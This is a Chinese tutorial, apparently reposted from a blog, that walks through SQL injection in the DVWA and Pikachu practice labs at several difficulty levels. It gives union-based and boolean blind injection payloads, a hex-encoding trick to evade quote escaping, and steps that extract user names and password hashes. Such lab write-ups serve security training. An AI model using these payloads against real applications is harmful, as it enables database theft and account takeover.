当前位置: 首页 > news >正文

DvwaPikachu-SQL注入-完整

SQL注入

一 初级:

  1. 判断是否存在注入点;

1' or '1'='1

  1. 判断字段长度(字段数) ;

1' order by 3# 3有错误,说明当前查询的结果有两个字段

  1. 判断字段回显位置;

1' union select 1,2#

  1. 判断数据库信息;

1' union select 1,database()#

  1. 查找数据库名;

1' union select 1,database()# 当前的一个数据库

1' union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库

  1. 查找数据库表;

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  1. 查找数据库表中所有字段以及字段值;

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

(8)取表中数据,并猜解账号密码;

1' union select 1,group_concat(first_name,0x3a,password) from users#

(9)登录管理员后台。

pikachu字符型,同理

二、中级:

判断是否存在注入点;

1' 异常

1 and 1=1 #正常

1 and 1=2 #异常

数字型

  1. 判断字段长度(字段数) ;

1 order by 3# 3有错误,说明当前查询的结果有两个字段

  1. 判断字段回显位置;

1 union select 1,2#

  1. 判断数据库信息;

1 union select 1,database()#

  1. 查找数据库名;

1 union select 1,database()# 当前的一个数据库

1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库

  1. 查找数据库表;

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 不行,''被转义

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 # &Submit=Submit

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  1. 查找数据库表中所有字段以及字段值;

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

' 单引号被转义,CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制,然后进行;

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273# &Submit=Submit

id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 # &Submit=Submit

(8)取表中数据,并猜解账号密码;

1 union select 1,group_concat(first_name,0x3a,password) from users#

(9)登录管理员后台。

pikachu字符型,同理

三、高级:

判断是否存在注入点;

1' 异常

1 and 1=1 #正常

1 and 1=2 #异常

字符型

  1. 判断字段长度(字段数) ;

1' order by 3# 3有错误,说明当前查询的结果有两个字段

  1. 判断字段回显位置;

1' union select 1,2#

  1. 判断数据库信息;

1' union select 1,database()#

  1. 查找数据库名;

1' union select 1,database()# 当前的一个数据库

1' union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库

  1. 查找数据库表;

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  1. 查找数据库表中所有字段以及字段值;

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

' 单引号被转义,CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制,然后进行

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273# &Submit=Submit

(8)取表中数据,并猜解账号密码;

1' union select 1,group_concat(first_name,0x3a,password) from users#

(9)登录管理员后台。

pikachu字符型,同理

SQL-Blind 盲注

原文链接:DVWA——SQL盲注(全等级)_dvwa盲注-CSDN博客

一、LOW:

1. 输入 1' and 1=1 # 可以看到 正常执行

2. 猜解开数据库长度1' and length(database())=x #

3.确定数据库名字的长度

输入语句显示结果

1’ and length(database())=1 #不存在

1’ and length(database())<5 #存在,说明数据库名字长度是小于5的

1’ and length(database())=4 #存在,说明数据库名字长度为4

1' and length(database())=4 # 说明数据库名字长度就是4个字符

3.数据库长度

ASCII查询对照表:ASCII编码对照表_911查询

猜测数据库名的第一个字符ASCII的取值范围

由于是DVWA靶场,所以合理猜测数据库名为dvwa(如果是其他场景下,需要不断修改数值,缩小取值范围,最终确定一个取值)

输入语句显示结果

1’ and ascii(substr(database(),1,1))>97#显示存在,说明第一个字符是一个小写字母且不是a。

1’ and ascii(substr(database(),1,1))=100#显示存在,说明第一个是d

1’ and ascii(substr(database(),2,1))=118#显示存在,说明第二个是v

1’ and ascii(substr(database(),3,1))=119#显示存在,说明第三个是w

1’ and ascii(substr(database(),4,1))=97#显示存在,说明第四个是a

1. 用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表(ASCII码对照表-完整ASCII码表-我就查查询)可得 为d

第二个字母v,ascii值是118

1' and ascii(substr(database(),2,1))=118 #

第三个字母 w,ascii值是119

1' and ascii(substr(database(),3,1))=119#

第四个字母a,ascii值是97

1' and ascii(substr(database(),4,1))=97#

综上所述:数据库名字就是dvwa;

4. 获取表名,先判断有多少个表

输入语句显示结果

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2#不存在,说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #存在,猜想验证成功

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

证明有2个表

5.确定dvwa数据库中表名的长度

输入语句分布解析:

1.查询列出当前连接数据库下的所有表名称

select table_name from information_schema.tables where table_schema=database()

2.列出当前连接数据库中的第1个表名称

select table_name from information_schema.tables where table_schema=database() limit 0,1

PS:limit 结果编号(从0开始),返回结果数量

3.计算当前连接数据库第1个表名的字符串长度值

length( substr ((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的 sql语句 进行查询,根据查询返回结果猜解表名称的长度值

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

输入语句显示结果

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#不存在

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#存在,说明dvwa第一个表长度为9

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#存在,验证成功

实际有2个表,guestbook,users;

同理可以对第二个表的长度进行猜测:

输入语句显示结果

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#存在,dvwa第二个表长度为5

6.确定dvwa数据库中表的名字

与确定数据库名字类似,用到ascii()和substr()两个函数。

substr(str,1,1):从str的第一个字符开始,截取长度1 == 取str的第一个字符

limit 0,1:0-查询结果的第一个;1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。

输入语句显示结果

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#显示存在,第一个表的第一个字符是g,以此类推可以确定第一个表的名字是guestbook。

guestbook中的第二个字母

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117#

第二个表users确定:

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#存在,第二个表的第一个字符是u,以此类推可以确定

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115#存在,第二个表的第二个字符是s,以此类推可以确定

7.确定users表中的字段数目

输入语句显示结果

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4#存在

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9#不存在

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7#存在

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#存在所以users表中有8个字段

8.确定users表中的8个字段长度

输入语句显示结果

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#不存在

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#存在

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#不存在

输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#存在说明users表的第一个字段长度为7

输入语句显示结果

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#不存在

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#存在

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#不存在

输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#存在说明users表的第一个字段长度为7

同理可以获取其他7个字段的长度

9.确定users表中的8个字段名字

由于表中的字段数目比较多,长度比较长,如果采用之前的按字符猜测,会很耗时间。根据我们的需要,判断users表中是否含有用户名和密码字段即可。

根据经验猜测用户名和密码的字段名字如下:

用户名:username/user_name/uname/u_name/user/…

密码:password/pass_word/pwd/pass/…

猜用户名:

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #

显示不存在,更换字段名再尝试,发现user显示存在

猜密码:

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
  • 显示存在

综上可知,users表中的用户名和密码字段分别为userpassword

10.获取user和password的字段值

password在存储的时候进行了MD5加密。

同样先进行猜测碰撞,如果不行再逐个筛选。

1' and (select count(*) from users where user='admin')=1 #

1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #

显示存在

综上可知一组用户名-密码:admin-password。

二、Medium

步骤和LOW相似,不过变成数字型注入,需要去掉1后面的单引号。

使用burpsuite抓包,修改id的值为注入语句即可。

同时medium在源代码中对特殊符号进行了转义处理,对于带有引号的字符串转换成16进制进行绕过。

三、High

high级别会另外开启一个页面,步骤类似

Medium

1. 随意选择一个数,然后抓包;

1. 修改参数 1 and length(database())=4 #,根据布尔 盲注判断,,数据库名为4

1. 下面依旧使用sql语句进行查询,步骤同上

high

1. 1' and 1=1 # 测试,发现成功执行

1. 盲注,测试数据库名长度 1' and length(database())=4 #

1. 接下来的步骤同上

impossible

只能使用数字,且设置了token ,无漏洞

http://www.jsqmd.com/news/1302924/

相关文章:

  • 护士执业资格考试报名照片制作教程?2026保姆级操作指南 - 科技大爆炸
  • SuperRDP技术架构深度解析:Windows远程桌面服务解锁实现原理
  • 3分钟快速部署:终极自托管付费墙突破工具13ft Ladder完整指南
  • 052-准备重要汇报和演讲
  • Claude Design 来了:AI 正在重新定义设计师的工作流
  • 护士资格考试证件照尺寸大小是多少?2026最新标准 - 科技大爆炸
  • 广州民营企业主经济犯罪律师选哪个:【法纳刑辩】律所 - 晚香时候
  • 深圳合规电子料 IC 芯片线路板回收深度解析:实体企业的处置逻辑与避坑指南 - 品牌优选官
  • 2026 年至今,武城专业的高弹硅胶匹布印花源头厂家联系电话,这种能贴肤拉伸不变形的印花,藏在很多运动服饰里你居然没发现?-德龙匹布印花 - 实业推荐官【官方】
  • AIGC工具在职业教育中的应用:千笔AI与WPS AI对比
  • 2026年最新教程:视频怎么压缩变小 亲测有效的免费方法 - 效率工具研究所
  • # 点胶机旋转轴采用 PLF060-5-S2-P2 配 400W 伺服:低速胶路与回程间隙分析
  • 03-linux学习之旅之linux用户与组管理
  • 广州中小微企业主经济犯罪律师推荐:【法纳刑辩】专业领先 - 云溪自乐
  • Adobe-GenP 3.0:5分钟掌握Adobe全家桶激活技术
  • 【Gartner认证实践框架】:用AI重构混合办公管理体系的6层架构设计(附可即插即用的SOP模板)
  • Scikit-learn 缺失值处理:SimpleImputer 完整指南
  • 广州中小微企业主经济犯罪律师选哪个:【法纳刑辩】好评如潮 - 松梢月冷
  • 3步打造高质量微调数据:LLaMA-Factory数据清洗全攻略
  • 国内哪些物流公司和渠道可以发货到吉尔吉斯斯坦?按场景分类选择适配不同需求! - 品牌网
  • C盘红了清理方法
  • 2026年最新教程:怎么把视频压缩一下再发 亲测有效方法 - 效率工具研究所
  • 三合一超薄磁吸充电宝推荐:传应45W三合一
  • 选临沂GEO获客引流公司先查这7项 规避不正规风险 - 甄选测评馆
  • AI辅助教材写作:高效方法与查重控制实践
  • 2026年7月国内有实力的汽车底盘磷化门店找哪家,脱漆剂/工业脱漆剂/铜抛光剂/脱塑剂/脱漆膏,汽车底盘磷化门店哪家强 - 品牌推荐师
  • 2024金融机构数据安全合规建设与关键技术解析
  • analyze_july_coverage.py
  • LangChain 结构化输出终于讲透了:ProviderStrategy、ToolStrategy、动态 Schema 一篇全会
  • linux部分c应用部分基础知识